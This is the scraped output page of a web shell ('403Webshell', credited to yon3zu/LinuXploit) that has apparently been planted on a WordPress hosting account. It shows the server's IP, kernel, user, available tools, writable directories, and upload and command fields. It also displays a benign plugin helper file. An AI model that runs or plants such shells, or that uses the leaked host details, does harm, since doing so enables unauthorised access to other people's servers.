403Webshell
Server IP : 46.105.57.169  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux webm002.cluster120.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
User : verseaumee ( 152031)
PHP Version : 8.5.7
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/verseaumee/geniouskin/wp-content/plugins/nprojects/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/verseaumee/geniouskin/wp-content/plugins/nprojects/classes/nprojects-helper.php
<?php
/**
 * WARNING: This file is part of the Projects plugin. DO NOT edit
 * this file under any circumstances.
 */

/**
 * Prevent direct access to this file
 */
defined( 'ABSPATH' ) or die();

abstract class nProjects_Helper
{
	public static function current_post_type() {
		global $post, $typenow, $current_screen;
	
		//we have a post so we can just get the post type from that
		if ( true == isset( $post ) && true == isset( $post->post_type ) )
			return $post->post_type;

		//check the global $typenow - set in admin.php
		elseif ( true == isset( $typenow ) )
			return $typenow;

		//check the global $current_screen object - set in sceen.php
		elseif ( true == isset( $current_screen ) && true == isset( $current_screen->post_type ) )
			return $current_screen->post_type;

		//lastly check the post_type querystring
		elseif ( true == isset( $_REQUEST['post_type'] ) )
			return sanitize_key( $_REQUEST['post_type'] );
		
		//we do not know the post type!
		return null;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit